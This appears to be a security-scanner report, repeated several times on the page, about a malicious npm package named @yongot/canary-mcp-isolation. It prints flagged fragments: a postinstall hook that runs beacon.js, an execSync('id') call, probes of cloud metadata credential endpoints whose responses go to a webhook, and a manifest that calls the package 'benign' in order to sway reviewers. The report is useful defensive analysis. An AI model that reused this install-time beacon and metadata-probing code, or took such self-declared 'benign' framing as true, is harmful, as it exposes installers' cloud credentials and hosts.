@yongot/canary-mcp-isolation@1.0.1: Malicious npm security report

Loading npm security reports…

@yongot/canary-mcp-isolation@1.0.1: Malicious npm security report | LPM Firewall

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node beacon.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

2"name": "@yongot/canary-mcp-isolation", "version": "1.0.1", "description": "Benign canary package for authorized security testing (sandbox isolation + egress scope check). No harmful behavior.",

High

Ai Review Evidence

The manifest's claim that the package is benign security testing is self-asserted reviewer-directed framing.

package.jsonView on unpkg · L2

•scripts.postinstall = node beacon.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

beacon.jsView file

1const https = require('https'); L2: const http = require('http'); ... L25: try { L26: fs.writeFileSync(MARKER_PATH, JSON.stringify({ runId: myRunId, host: os.hostname(), t: Date.now() })); L27: } catch (e) {} ... L36: res.on('data', (d) => { body += d; }); L37: res.on('end', () => send({ test: name, result: 'response', status: res.statusCode, body: body.slice(0, 150) })); L38: }); L39: const output = require("child_process").execSync("id").toString(); L40: req.on('error', (e) =>

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

beacon.jsView on unpkg · L1

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

beacon.jsView on unpkg · L1

55probe('gcp-metadata-ip', { host: '169.254.169.254', path: '/[redacted]', headers: { 'Metadata-Flavor': 'Google' }, timeout: 2500 }); probe('gcp-metadata-dns', { host: 'metadata.google.internal', path: '/[redacted]', headers: { 'Metadata-Flavor': 'Google' }, timeout: 2500 });

High

Ai Review Evidence

It probes cloud metadata addresses and forwards response bodies to the webhook.

beacon.jsView on unpkg · L55

index.jsView file

1require('./beacon.js'); process.argv[2] = 'require'; require('./beacon.js');

High

Ai Review Evidence

index.js loads beacon.js twice, including after setting an argument marker.

index.jsView on unpkg · L1

Source & flagged code

7 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

2"name": "@yongot/canary-mcp-isolation", "version": "1.0.1", "description": "Benign canary package for authorized security testing (sandbox isolation + egress scope check). No harmful behavior.",

High

Ai Review Evidence

The manifest's claim that the package is benign security testing is self-asserted reviewer-directed framing.

package.jsonView on unpkg · L2

•scripts.postinstall = node beacon.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

beacon.jsView file

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

beacon.jsView on unpkg · L1

High

Cloud Metadata Access

Source reaches cloud instance metadata or link-local credential endpoints.

beacon.jsView on unpkg · L1

High

Ai Review Evidence

It probes cloud metadata addresses and forwards response bodies to the webhook.

beacon.jsView on unpkg · L55

index.jsView file

1require('./beacon.js'); process.argv[2] = 'require'; require('./beacon.js');

High

Ai Review Evidence

index.js loads beacon.js twice, including after setting an argument marker.

index.jsView on unpkg · L1

Source & flagged code

7 flagged

package.jsonView file

•scripts.postinstall = node beacon.js postinstall

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

2"name": "@yongot/canary-mcp-isolation", "version": "1.0.1", "description": "Benign canary package for authorized security testing (sandbox isolation + egress scope check). No harmful behavior.",

High

Ai Review Evidence

The manifest's claim that the package is benign security testing is self-asserted reviewer-directed framing.

package.jsonView on unpkg · L2

•scripts.postinstall = node beacon.js postinstall

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

beacon.jsView file

High

Sandbox Evasion Gated Capability